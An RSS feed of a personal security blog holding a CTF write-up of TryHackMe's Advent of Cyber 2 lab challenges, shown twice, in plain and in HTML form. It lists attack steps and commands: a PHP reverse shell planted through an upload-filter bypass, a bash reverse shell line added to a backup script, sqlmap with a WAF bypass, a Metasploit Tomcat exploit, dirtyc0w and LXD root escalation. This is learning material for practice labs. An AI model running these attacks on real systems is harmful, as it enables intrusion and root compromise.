<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>python &amp;mdash; drsh0&#39;s llog</title>
    <link>https://drsh0.writeas.com/tag:python</link>
    <description>my learning log; notes on cybersec activities, ctfs, and ill-equipped cyber adventures. Consume responsibly.</description>
    <pubDate>Sun, 26 Apr 2026 19:31:55 +0000</pubDate>
    <image>
      <url>https://i.snap.as/v7Oo2ci6.png</url>
      <title>python &amp;mdash; drsh0&#39;s llog</title>
      <link>https://drsh0.writeas.com/tag:python</link>
    </image>
    <item>
      <title>TryHackMe - Advent of Cyber 2</title>
      <link>https://drsh0.writeas.com/tryhackme-advent-of-cyber-2?pk_campaign=rss-feed</link>
      <description>&lt;![CDATA[  Get started with Cyber Security in 25 Days - Learn the basics by doing a new, beginner friendly security challenge every day leading up to Christmas.&#xA;&#xA;https://tryhackme.com/room/adventofcyber2&#xA;&#xA;Here are my writeups! Happy Holidays folks 🎄&#xA;&#xA;!--more--&#xA;&#xA;## Day 1: #Web #Cookies A Christmas Crisis&#xA;&#xA;modify basic auth cookie to bypass authentication for user santa.&#xA;cookie format is in hexadecimal which is presented as json when decoded.&#xA;&#xA;## Day 2: #Web #RCE The Elf Strikes Back&#xA;&#xA;login using provided ID via GET parameter.&#xA;set up a simple php reverse shell&#xA;bypass upload filter by adding .jpg before true extension.&#xA;set up ncat listener: rlwrap ncat -lvnp $PORT &#xA;visit upload directory and open uploaded php reverse shell.&#xA;get www-data shell and get flag.&#xA;&#xA;## Day 3: #Web #Authentication Christmas Chaos &#xA;&#xA;attempt login and capture login URI.&#xA;utilise burp cluster bomb with 2 payload sets for: username and password.&#xA;run attack and compare response length to find correct credentials.&#xA;login using these credentials for flag&#xA;&#xA;## Day 4: #Web #Fuzzing Santa&#39;s Watching&#xA;&#xA;scan for common directories --  find /api&#xA;api file site-log.php used for querying site logs by date&#xA;fuzz probable dates using wfuzz: &#xA;wfuzz -c -z file,$WORDLIST -u $URI/api/site-log.php?date=FUZZ&#xA;&#xA;## Day 5: #Web #SQLi Someone stole Santa&#39;s gift list! &#xA;&#xA;bypass login using basic SQLi payload&#xA;use info provided to launch sqlmap against the search parameter.&#xA;burp -  capture request -  send to repeater -  save request.&#xA;sqlmap -r $savedrequest --tamper=space2comment --dump-all -dbms sqlite.&#xA;    space2comment is a WAF bypass method. This can be identified via --identify-waf.&#xA;    other WAF bypasses are available where needed.&#xA;use db dumps to answer all questions.&#xA;&#xA;## Day 6: #Web #XSS Be careful with what you wish on a Christmas night &#xA;&#xA;web app is vulnerable to both reflected and stored XSS.&#xA;OWASP ZAP can be used for automated scanning.&#xA;The original compromise most likely utilised the stored XSS vulnerability and redirected a visitor to a malicious website upon clicking a certain hyperlink (by modifying a tags or by doing something like location.replace).&#xA;&#xA;## Day 7: #Networking #Wireshark The Grinch Really Did Steal Christmas &#xA;&#xA;We&#39;re given 3 pcaps that need to be analysed.&#xA;&#xA;pcap1&#xA;&#xA;find icmp traffic - type icmp in filter bar &#xA;find all HTTP GET requests - http.request.method == GET&#xA;find web pages visited (HTTP) by specific host - ip.src == 10.10.67.199 &amp;&amp; http.request.method == GET&#xA;&#xA;pcap 2&#xA;&#xA;find plaintext password in ftp traffic - ftp.request.command==PASS&#xA;find encrypted protocol used - statistics   protocol hierarchy (from this we see SSH which is an encrypted protocol)&#xA;&#xA;pcap 3&#xA;&#xA;recover files sent in the wire - file   export objects   http&#xA;&#xA;## Day 8: #Networking #nmap #enumeration What&#39;s Under the Christmas Tree? &#xA;&#xA;A quick recap of nmap:&#xA;&#xA;-sT - TCP scan&#xA;-sS - SYN scan - default&#xA;-A - aggressive scan (includes OS, version, script and traceroute scans)&#xA;--script vuln - scan for common vulnerabilities on open ports&#xA;    additional scripts: enip-info, rdp-ntlm-info, http-enum&#xA;    tip: you can use ` as a wildcard when using --script`.&#xA;&#xA;## Day 9: #Networking #ftp Anyone can be Santa! &#xA;&#xA;find anonymous ftp directories using nmap $IP -sV --script=ftp-anon&#xA;ftp in and retrieve backup.sh&#xA;set up reverse shell on local host: rlwrap ncat -lnvp 4242&#xA;upload backup script back to the ftp server with an added bash reverse shell:&#xA;sh -i   &amp; /dev/udp/$THMIP/4242 0  &amp;1&#xA;we should get a root shell on remote host this way. &#xA;&#xA;## Day 10: #Networking #smb Don&#39;t be sElfish!&#xA;&#xA;enum4linux -U $IP - enumerate users on SMB server&#xA;enum4linux -S $IP - enumerate shares on SMB server&#xA;smbclient //$IP/$ShareName - connect to SMB share&#xA;&#xA;## Day 11:  #Networking #privesc The Rogue Gnome &#xA;&#xA;we&#39;re given details to log in to ssh as the cmatic user.&#xA;it appears to be a limited account without any sudo access, let&#39;s send over LinEnum.sh to automate enumeration for us. &#xA;on the target machine: nc -l -p 1337   /tmp/LinEnum.sh&#xA;on the attacking machine: nc -w 3 $machineIP 1337 &lt; LinEnum.sh&#xA;The above should send the file from our machine to the target machine via nc (timeout -w at 3 secs)&#xA;SUID enumeration reveals /bin/bash has SUID bit set&#xA;With /bin/bash -p we get a root shell. The -p tells  the shell to maintain the euid which in this case is 0 (root) due to SUID. &#xA;&#xA;## Day 12:  #Networking #initialaccess Ready, Set, Elf &#xA;&#xA;nmap (-sC -sV)&#xA;we see tomcat 9.0.17 being used&#xA;searching that in exploit-db we find possible code exec CVEs&#xA;&#xA;metasploit:&#xA;&#xA;msfconsole&#xA;search CVE-2019-0232&#xA;use exploit/windows/http/tomcatcgicmdlineargs&#xA;set lhost tun0&#xA;set rhost $remotehostIP&#xA;set URI $remotehostCGI&#xA;check&#xA;exploit&#xA;shell&#xA;the above gets us a user shell. Check privs with run post/windows/gather/winprivs&#xA;&#xA;## Day 13: #exploitation Coal for Christmas&#xA;&#xA;scan machine with nmap - notice telnet&#xA;connect to telnet and log in with creds displayed&#xA;Enumuration tips:&#xA;  cat /etc/release&#xA;  cat /etc/issue&#xA;Ubuntu 12.04 with kernel 3.2.0-23-generic - vulnerable to dirtyc0w.&#xA;Transfer dirtyc0w source code to target machine and compile&#xA;run and create a root privileged account!&#xA;&#xA;## Day 14: #osint  Where&#39;s Rudolph?&#xA;&#xA;https://scylla.sh/ - neat place to find dehashed passwords.&#xA;always check the entire post history of an account if possible.&#xA;&#xA;## Day 15 &amp; 16: #python&#xA;&#xA;!/usr/bin/env python3&#xA;TryHackMe Advent Calendar 2020 Day 16&#xA;https://tryhackme.com/room/adventofcyber2&#xA;&#xA;import requests&#xA;&#xA;The code below assumes an api endpoint with a odd-numbered key that we don&#39;t know the value of. The correct value will produce a flag.&#xA;for loop to go over 1-100 key values, step by 2 to have odd numbers only&#xA;&#xA;for apikey in range(1,100,2):&#xA;    # print what api key value we are iterating&#xA;    print(f&#34;apikey {apikey}&#34;)&#xA;    # this is the api endoing we are sending requests to&#xA;    r = requests.get(f&#39;http://EDITMETHMIP:8000/api/{apikey}&#39;)&#xA;    # only print text out if there are no failures or protections in place&#xA;    if &#34;Error&#34; not in str(r.text) and &#34;PROTECTION&#34; not in str(r.text):&#xA;        print(r.text)&#xA;&#xA;## Day 19: #SSRF #web The Naughty or Nice List&#xA;&#xA;Observe that searches are proxied internally via http://list.hohoho:8080/search.php?name=.&#xA;Since an internal server is exposed, there are numerous things to do:&#xA;&#x9;visit root of the host exposed e.g. http://list.hohoho:8080 via the URI parameter.&#xA;&#x9;try different ports for enumeration. &#xA;&#x9;check for any app side blocking/filtering e.g. visiting localhost via the proxy. If blocked, consider using localtest.me which resolves to 127.0.0.1 e.g. proxy=http://list.hohoho.localtest.me&#xA;&#x9;this could lead to some sensitive exposure. &#xA;&#xA;## Day 17 &amp; 18: #reversing #assembly #dotnet ReverseELFneering  &amp; The Bits of Christmas &#xA;&#xA;Opening a binary with radare2 - r2 -d file&#xA;Analysing a binary - aa&#xA;List of functions - afl&#xA;Print disassembly function - pdf @function&#xA;Breakpoint - db reference&#xA;Run program until breakpoint - dc&#xA;View contents of memory address - px @memory address&#xA;Move to next instruction - ds&#xA;View %eax register - dr&#xA;Reload program - ood&#xA;&#xA;---&#xA;&#xA;For DotNet applications, ILSpy and Dotpeek are good tools that can be used to decompile .NET applications and potentially view methods that contains information to bypass certain checks or authentication. &#xA;&#xA;## Day 20: #powershell PowershELlF to the rescue &#xA;&#xA;Some intro to powershell and navigating the file and directory system:&#xA;&#xA;Get-ChildItem -Path  -File/-Directory -Hidden -ErrorAction SilentlyContinue&#xA;The above would look for all items in a specified path that has either hidden files or folders and would not worry about any errors. &#xA;&#xA;Measure-Object&#xA;Can be piped to provide info on an object like words e.g. Get-Content file.txt | Measure-Object -Word&#xA;&#xA;(Get-Content -Path file.txt)[index]&#xA;Read something in a file at a specfic position. E.g. ...file.txt)[100] for the 99th character. &#xA;&#xA;*Select-String -Path ./Desktop -Pattern &#39;.txt&#39;*&#xA;Find all txt files within the desktop. Can also be used to search for strings within a file. &#xA;&#xA;## Day 21: #forensics #powershell Time for some ELForensics &#xA;&#xA;ADFS is a part of NTFS and can contain alternate data streams not visible to the user. &#xA;Calculate MD5: &#xA;Get-FileHash -Algorithm MD5 file&#xA;View streams: &#xA;Get-Item -Path file.exe -Stream &#xA;Launch the stream/s found: &#xA;wmic process call create $(Resolve-Path file.exe:streamname)&#xA;&#xA;# Day 22: #forensics Elf McEager becomes CyberElf &#xA;&#xA;Data decoding via https://gchq.github.io/CyberChef/&#xA;&#xA;# Day 23: #forensics The Grinch strikes again!&#xA;&#xA;malicious scheduled tasks may often be utilised by ransomware operators.&#xA;volume shadow copy service (VSS) creates &#34;snapshots&#34; of data. This can be interacted with using vssadmin&#xA;for any hidden volumes, they may be able to have a drive path assigned to them and mounted. Checking for hidden files and folders is also advisable in that volume. &#xA;&#xA;Day 24&#xA;&#xA;Find hidden web directories and php pages:&#xA;&#xA;gobuster dir -u http://10.10.216.164:65000 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt&#xA;gobuster dir -u http://10.10.216.164:65000 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -x php&#xA;Visit the discovered file upload page and try to upload a reverse PHP shell. A simple file rename to .jpg.php doesn&#39;t work. See network connections and notice filter.js. Block this to circumvent the client side filter. Visit the file once shell is uploaded and reverse shell listener is set up.&#xA;rlwrap ncat -nlvp 1234&#xA;&#xA;Upgrade shell:&#xA;python3 -c &#39;import pty; pty.spawn(&#34;/bin/bash&#34;)&#39;&#xA;After finding the DB creds in the includes folder, connect to it using MySQL client. &#xA;$ msql -utron -p&#xA;$ show databases;&#xA;$ use tron;&#xA;$ show tables;&#xA;$ select * from users;&#xA;&#xA;We find the user flynn&#39;s hashed password which can be cracked via crackstation. &#xA;Using these credentials, SSH into localhost (or use su flynn).&#xA;The flyn user is in the lxd group, allowing us to interact with linux containers (lxc). &#xA;$ lxc image list # see if there are any images we can use&#xA;$ lxc init $IMAGENAME $CONTAINERNAME -c security.privileged=true # create a new priv. container&#xA;$ lxc config device add $CONTAINERNAME $DEVICENAME disk source=/ path=/mnt/root recursive=true # add mounted device with path = root&#xA;$ lxc start $CONTAINERNAME&#xA;$ lxc exec $CONTAINERNAME /bin/sh # connect to the container shell &#xA;&#xA;]]&gt;</description>
      <content:encoded><![CDATA[<blockquote><p>Get started with Cyber Security in 25 Days – Learn the basics by doing a new, beginner friendly security challenge every day leading up to Christmas.</p></blockquote>

<p><a href="https://tryhackme.com/room/adventofcyber2" rel="nofollow">https://tryhackme.com/room/adventofcyber2</a></p>

<p>Here are my writeups! Happy Holidays folks 🎄</p>



<h2 id="day-1-web-cookies-a-christmas-crisis" id="day-1-web-cookies-a-christmas-crisis">Day 1: <a href="https://drsh0.writeas.com/tag:Web" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Web</span></a> <a href="https://drsh0.writeas.com/tag:Cookies" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Cookies</span></a> A Christmas Crisis</h2>
<ul><li>modify basic auth cookie to bypass authentication for user <code>santa</code>.</li>
<li>cookie format is in hexadecimal which is presented as json when decoded.</li></ul>

<h2 id="day-2-web-rce-the-elf-strikes-back" id="day-2-web-rce-the-elf-strikes-back">Day 2: <a href="https://drsh0.writeas.com/tag:Web" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Web</span></a> <a href="https://drsh0.writeas.com/tag:RCE" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">RCE</span></a> The Elf Strikes Back</h2>
<ul><li>login using provided ID via GET parameter.</li>
<li>set up a simple php reverse shell</li>
<li>bypass upload filter by adding <code>.jpg</code> before true extension.</li>
<li>set up ncat listener: <code>rlwrap ncat -lvnp $PORT</code></li>
<li>visit upload directory and open uploaded php reverse shell.</li>
<li>get <code>www-data</code> shell and get flag.</li></ul>

<h2 id="day-3-web-authentication-christmas-chaos" id="day-3-web-authentication-christmas-chaos">Day 3: <a href="https://drsh0.writeas.com/tag:Web" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Web</span></a> <a href="https://drsh0.writeas.com/tag:Authentication" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Authentication</span></a> Christmas Chaos</h2>
<ul><li>attempt login and capture login URI.</li>
<li>utilise burp cluster bomb with 2 payload sets for: <code>username</code> and <code>password</code>.</li>
<li>run attack and compare response length to find correct credentials.</li>
<li>login using these credentials for flag</li></ul>

<h2 id="day-4-web-fuzzing-santa-s-watching" id="day-4-web-fuzzing-santa-s-watching">Day 4: <a href="https://drsh0.writeas.com/tag:Web" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Web</span></a> <a href="https://drsh0.writeas.com/tag:Fuzzing" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Fuzzing</span></a> Santa&#39;s Watching</h2>
<ul><li>scan for common directories —&gt; find <code>/api</code></li>
<li>api file <code>site-log.php</code> used for querying site logs by date</li>
<li>fuzz probable dates using <code>wfuzz</code>:
<code>wfuzz -c -z file,$WORDLIST -u $URI/api/site-log.php?date=FUZZ</code></li></ul>

<h2 id="day-5-web-sqli-someone-stole-santa-s-gift-list" id="day-5-web-sqli-someone-stole-santa-s-gift-list">Day 5: <a href="https://drsh0.writeas.com/tag:Web" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Web</span></a> <a href="https://drsh0.writeas.com/tag:SQLi" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">SQLi</span></a> Someone stole Santa&#39;s gift list!</h2>
<ul><li>bypass login using basic SQLi payload</li>
<li>use info provided to launch <code>sqlmap</code> against the search parameter.</li>
<li>burp –&gt; capture request –&gt; send to repeater –&gt; save request.</li>
<li><code>sqlmap -r $saved_request --tamper=space2comment --dump-all -dbms sqlite</code>.
<ul><li><code>space2comment</code> is a WAF bypass method. This can be identified via <code>--identify-waf</code>.</li>
<li>other WAF bypasses are available where needed.</li></ul></li>
<li>use db dumps to answer all questions.</li></ul>

<h2 id="day-6-web-xss-be-careful-with-what-you-wish-on-a-christmas-night" id="day-6-web-xss-be-careful-with-what-you-wish-on-a-christmas-night">Day 6: <a href="https://drsh0.writeas.com/tag:Web" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Web</span></a> <a href="https://drsh0.writeas.com/tag:XSS" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">XSS</span></a> Be careful with what you wish on a Christmas night</h2>
<ul><li>web app is vulnerable to both reflected and stored XSS.</li>
<li>OWASP ZAP can be used for automated scanning.</li>
<li>The original compromise most likely utilised the stored XSS vulnerability and redirected a visitor to a malicious website upon clicking a certain hyperlink (by modifying <code>&lt;a&gt;</code> tags or by doing something like <code>location.replace</code>).</li></ul>

<h2 id="day-7-networking-wireshark-the-grinch-really-did-steal-christmas" id="day-7-networking-wireshark-the-grinch-really-did-steal-christmas">Day 7: <a href="https://drsh0.writeas.com/tag:Networking" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Networking</span></a> <a href="https://drsh0.writeas.com/tag:Wireshark" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Wireshark</span></a> The Grinch Really Did Steal Christmas</h2>

<p>We&#39;re given 3 pcaps that need to be analysed.</p>

<p>pcap1</p>
<ul><li>find icmp traffic – type <code>icmp</code> in filter bar</li>
<li>find all HTTP GET requests – <code>http.request.method == GET</code></li>
<li>find web pages visited (HTTP) by specific host – <code>ip.src == 10.10.67.199 &amp;&amp; http.request.method == GET</code></li></ul>

<p>pcap 2</p>
<ul><li>find plaintext password in ftp traffic – <code>ftp.request.command==PASS</code></li>
<li>find encrypted protocol used – statistics &gt; protocol hierarchy (from this we see SSH which is an encrypted protocol)</li></ul>

<p>pcap 3</p>
<ul><li>recover files sent in the wire – file &gt; export objects &gt; http</li></ul>

<h2 id="day-8-networking-nmap-enumeration-what-s-under-the-christmas-tree" id="day-8-networking-nmap-enumeration-what-s-under-the-christmas-tree">Day 8: <a href="https://drsh0.writeas.com/tag:Networking" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Networking</span></a> <a href="https://drsh0.writeas.com/tag:nmap" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">nmap</span></a> <a href="https://drsh0.writeas.com/tag:enumeration" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">enumeration</span></a> What&#39;s Under the Christmas Tree?</h2>

<p>A quick recap of nmap:</p>
<ul><li><code>-sT</code> – TCP scan</li>
<li><code>-sS</code> – SYN scan – default</li>
<li><code>-A</code> – aggressive scan (includes OS, version, script and traceroute scans)</li>
<li><code>--script vuln</code> – scan for common vulnerabilities on open ports
<ul><li>additional scripts: <code>enip-info</code>, <code>rdp-ntlm-info</code>, <code>http-enum</code></li>
<li>tip: you can use <code>*</code> as a wildcard when using <code>--script</code>.</li></ul></li></ul>

<h2 id="day-9-networking-ftp-anyone-can-be-santa" id="day-9-networking-ftp-anyone-can-be-santa">Day 9: <a href="https://drsh0.writeas.com/tag:Networking" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Networking</span></a> <a href="https://drsh0.writeas.com/tag:ftp" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">ftp</span></a> Anyone can be Santa!</h2>
<ul><li>find anonymous ftp directories using <code>nmap $IP -sV --script=ftp-anon</code></li>
<li><code>ftp</code> in and retrieve <code>backup.sh</code></li>
<li>set up <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#bash-tcp" rel="nofollow">reverse shell</a> on local host: <code>rlwrap ncat -lnvp 4242</code></li>
<li>upload backup script back to the ftp server with an added bash reverse shell:
<code>sh -i &gt;&amp; /dev/udp/$THM_IP/4242 0&gt;&amp;1</code></li>
<li>we should get a root shell on remote host this way.</li></ul>

<h2 id="day-10-networking-smb-don-t-be-selfish" id="day-10-networking-smb-don-t-be-selfish">Day 10: <a href="https://drsh0.writeas.com/tag:Networking" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Networking</span></a> <a href="https://drsh0.writeas.com/tag:smb" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">smb</span></a> Don&#39;t be sElfish!</h2>

<p><code>enum4linux -U $IP</code> – enumerate users on SMB server
<code>enum4linux -S $IP</code> – enumerate shares on SMB server
<code>smbclient //$IP/$ShareName</code> – connect to SMB share</p>

<h2 id="day-11-networking-privesc-the-rogue-gnome" id="day-11-networking-privesc-the-rogue-gnome">Day 11:  <a href="https://drsh0.writeas.com/tag:Networking" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Networking</span></a> <a href="https://drsh0.writeas.com/tag:privesc" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">privesc</span></a> The Rogue Gnome</h2>
<ul><li>we&#39;re given details to log in to ssh as the <code>cmatic</code> user.</li>
<li>it appears to be a limited account without any <code>sudo</code> access, let&#39;s send over <code>LinEnum.sh</code> to automate enumeration for us.</li>
<li>on the target machine: <code>nc -l -p 1337 &gt; /tmp/LinEnum.sh</code></li>
<li>on the attacking machine: <code>nc -w 3 $machineIP 1337 &lt; LinEnum.sh</code></li>
<li>The above should send the file from our machine to the target machine via <code>nc</code> (timeout <code>-w</code> at 3 secs)</li>
<li>SUID enumeration reveals <code>/bin/bash</code> has SUID bit set</li>
<li>With <code>/bin/bash -p</code> we get a root shell. The <code>-p</code> tells  the shell to maintain the euid which in this case is 0 (root) due to SUID.</li></ul>

<h2 id="day-12-networking-initialaccess-ready-set-elf" id="day-12-networking-initialaccess-ready-set-elf">Day 12:  <a href="https://drsh0.writeas.com/tag:Networking" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Networking</span></a> <a href="https://drsh0.writeas.com/tag:initialaccess" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">initialaccess</span></a> Ready, Set, Elf</h2>
<ul><li>nmap (<code>-sC -sV</code>)</li>
<li>we see tomcat 9.0.17 being used</li>
<li>searching that in exploit-db we find possible code exec CVEs</li></ul>

<p>metasploit:</p>

<pre><code>msfconsole
search CVE-2019-0232
use exploit/windows/http/tomcat_cgi_cmdlineargs
set lhost tun0
set rhost $remotehostIP
set URI $remotehostCGI
check
exploit
shell
</code></pre>

<p>the above gets us a user shell. Check privs with <code>run post/windows/gather/win_privs</code></p>

<h2 id="day-13-exploitation-coal-for-christmas" id="day-13-exploitation-coal-for-christmas">Day 13: <a href="https://drsh0.writeas.com/tag:exploitation" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">exploitation</span></a> Coal for Christmas</h2>
<ul><li>scan machine with nmap – notice telnet</li>
<li>connect to telnet and log in with creds displayed</li>
<li>Enumuration tips:
<ul><li>cat /etc/*release</li>
<li>cat /etc/issue</li></ul></li>
<li>Ubuntu 12.04 with kernel 3.2.0-23-generic – vulnerable to dirtyc0w.</li>
<li>Transfer dirtyc0w source code to target machine and compile</li>
<li>run and create a root privileged account!</li></ul>

<h2 id="day-14-osint-where-s-rudolph" id="day-14-osint-where-s-rudolph">Day 14: <a href="https://drsh0.writeas.com/tag:osint" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">osint</span></a>  Where&#39;s Rudolph?</h2>
<ul><li><a href="https://scylla.sh/" rel="nofollow">https://scylla.sh/</a> – neat place to find dehashed passwords.</li>
<li>always check the entire post history of an account if possible.</li></ul>

<h2 id="day-15-16-python" id="day-15-16-python">Day 15 &amp; 16: <a href="https://drsh0.writeas.com/tag:python" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">python</span></a></h2>

<pre><code class="language-python">#!/usr/bin/env python3
## TryHackMe Advent Calendar 2020 Day 16
## https://tryhackme.com/room/adventofcyber2

import requests

# The code below assumes an api endpoint with a odd-numbered key that we don&#39;t know the value of. The correct value will produce a flag.
# for loop to go over 1-100 key values, step by 2 to have odd numbers only

for api_key in range(1,100,2):
    # print what api key value we are iterating
    print(f&#34;api_key {api_key}&#34;)
    # this is the api endoing we are sending requests to
    r = requests.get(f&#39;http://EDITME_THMIP:8000/api/{api_key}&#39;)
    # only print text out if there are no failures or protections in place
    if &#34;Error&#34; not in str(r.text) and &#34;PROTECTION&#34; not in str(r.text):
        print(r.text)
</code></pre>

<h2 id="day-19-ssrf-web-the-naughty-or-nice-list" id="day-19-ssrf-web-the-naughty-or-nice-list">Day 19: <a href="https://drsh0.writeas.com/tag:SSRF" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">SSRF</span></a> <a href="https://drsh0.writeas.com/tag:web" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">web</span></a> The Naughty or Nice List</h2>
<ol><li>Observe that searches are proxied internally via <code>http://list.hohoho:8080/search.php?name=</code>.</li>
<li>Since an internal server is exposed, there are numerous things to do:
<ul><li>visit root of the host exposed e.g. <code>http://list.hohoho:8080</code> via the URI parameter.</li>
<li>try different ports for enumeration.</li>
<li>check for any app side blocking/filtering e.g. visiting <code>localhost</code> via the proxy. If blocked, consider using <code>localtest.me</code> which resolves to 127.0.0.1 e.g. <code>proxy=http://list.hohoho.localtest.me</code></li>
<li>this could lead to some sensitive exposure.</li></ul></li></ol>

<h2 id="day-17-18-reversing-assembly-dotnet-reverseelfneering-the-bits-of-christmas" id="day-17-18-reversing-assembly-dotnet-reverseelfneering-the-bits-of-christmas">Day 17 &amp; 18: <a href="https://drsh0.writeas.com/tag:reversing" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">reversing</span></a> <a href="https://drsh0.writeas.com/tag:assembly" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">assembly</span></a> <a href="https://drsh0.writeas.com/tag:dotnet" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">dotnet</span></a> ReverseELFneering  &amp; The Bits of Christmas</h2>

<p>Opening a binary with radare2 – <code>r2 -d &lt;file&gt;</code>
Analysing a binary – <code>aa</code>
List of functions – <code>afl</code>
Print disassembly function – <code>pdf @&lt;function&gt;</code>
Breakpoint – <code>db &lt;reference&gt;</code>
Run program until breakpoint – <code>dc</code>
View contents of memory address – <code>px @&lt;memory address&gt;</code>
Move to next instruction – <code>ds</code>
View %eax register – <code>dr</code>
Reload program – <code>ood</code></p>

<hr/>

<p>For DotNet applications, <strong>ILSpy</strong> and <strong>Dotpeek</strong> are good tools that can be used to decompile .NET applications and potentially view methods that contains information to bypass certain checks or authentication.</p>

<h2 id="day-20-powershell-powershellf-to-the-rescue" id="day-20-powershell-powershellf-to-the-rescue">Day 20: <a href="https://drsh0.writeas.com/tag:powershell" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">powershell</span></a> PowershELlF to the rescue</h2>

<p>Some intro to powershell and navigating the file and directory system:</p>

<p><strong><code>Get-ChildItem -Path &lt;&gt; -File/-Directory -Hidden -ErrorAction SilentlyContinue</code></strong>
The above would look for all items in a specified path that has either hidden files or folders and would not worry about any errors.</p>

<p><strong><code>Measure-Object</code></strong>
Can be piped to provide info on an object like words e.g. <code>Get-Content file.txt | Measure-Object -Word</code></p>

<p><strong><code>(Get-Content -Path file.txt)[index]</code></strong>
Read something in a file at a specfic position. E.g. ...file.txt)[100] for the 99th character.</p>

<p><strong><code>Select-String -Path ./Desktop -Pattern &#39;*.txt&#39;</code></strong>
Find all txt files within the desktop. Can also be used to search for strings within a file.</p>

<h2 id="day-21-forensics-powershell-time-for-some-elforensics" id="day-21-forensics-powershell-time-for-some-elforensics">Day 21: <a href="https://drsh0.writeas.com/tag:forensics" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">forensics</span></a> <a href="https://drsh0.writeas.com/tag:powershell" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">powershell</span></a> Time for some ELForensics</h2>
<ul><li>ADFS is a part of NTFS and can contain alternate data streams not visible to the user.
Calculate MD5:
<code>Get-FileHash -Algorithm MD5 &lt;file&gt;</code>
View streams:
<code>Get-Item -Path file.exe -Stream *</code>
Launch the stream/s found:
<code>wmic process call create $(Resolve-Path file.exe:streamname)</code></li></ul>

<h1 id="day-22-forensics-elf-mceager-becomes-cyberelf" id="day-22-forensics-elf-mceager-becomes-cyberelf">Day 22: <a href="https://drsh0.writeas.com/tag:forensics" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">forensics</span></a> Elf McEager becomes CyberElf</h1>

<p>Data decoding via <a href="https://gchq.github.io/CyberChef/" rel="nofollow">https://gchq.github.io/CyberChef/</a></p>

<h1 id="day-23-forensics-the-grinch-strikes-again" id="day-23-forensics-the-grinch-strikes-again">Day 23: <a href="https://drsh0.writeas.com/tag:forensics" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">forensics</span></a> The Grinch strikes again!</h1>
<ul><li>malicious scheduled tasks may often be utilised by ransomware operators.</li>
<li>volume shadow copy service (VSS) creates “snapshots” of data. This can be interacted with using <code>vssadmin</code></li>
<li>for any hidden volumes, they may be able to have a drive path assigned to them and mounted. Checking for hidden files and folders is also advisable in that volume.</li></ul>

<h2 id="day-24" id="day-24">Day 24</h2>

<p>Find hidden web directories and php pages:</p>

<pre><code class="language-bash">gobuster dir -u http://10.10.216.164:65000 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt
</code></pre>

<pre><code class="language-bash">gobuster dir -u http://10.10.216.164:65000 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -x php
</code></pre>

<p>Visit the discovered file upload page and try to upload a reverse PHP shell. A simple file rename to <code>.jpg.php</code> doesn&#39;t work. See network connections and notice <code>filter.js</code>. Block this to circumvent the client side filter. Visit the file once shell is uploaded and reverse shell listener is set up.</p>

<pre><code class="language-bash">rlwrap ncat -nlvp 1234
</code></pre>

<p>Upgrade shell:</p>

<pre><code class="language-bash">python3 -c &#39;import pty; pty.spawn(&#34;/bin/bash&#34;)&#39;
</code></pre>

<p>After finding the DB creds in the <code>includes</code> folder, connect to it using MySQL client.</p>

<pre><code>$ msql -utron -p
$ show databases;
$ use tron;
$ show tables;
$ select * from users;

</code></pre>

<p>We find the user <code>flynn</code>&#39;s hashed password which can be cracked via <a href="https://crackstation.net/" rel="nofollow">crackstation</a>.
Using these credentials, SSH into localhost (or use <code>su flynn</code>).
The flyn user is in the lxd group, allowing us to interact with linux containers (lxc).</p>

<pre><code class="language-bash">$ lxc image list # see if there are any images we can use
$ lxc init $IMAGENAME $CONTAINERNAME -c security.privileged=true # create a new priv. container
$ lxc config device add $CONTAINERNAME $DEVICENAME disk source=/ path=/mnt/root recursive=true # add mounted device with path = root
$ lxc start $CONTAINERNAME
$ lxc exec $CONTAINERNAME /bin/sh # connect to the container shell 
</code></pre>
]]></content:encoded>
      <guid>https://drsh0.writeas.com/tryhackme-advent-of-cyber-2</guid>
      <pubDate>Thu, 10 Dec 2020 19:51:43 +0000</pubDate>
    </item>
    <item>
      <title>Jack - TryHackMe</title>
      <link>https://drsh0.writeas.com/jack-tryhackme?pk_campaign=rss-feed</link>
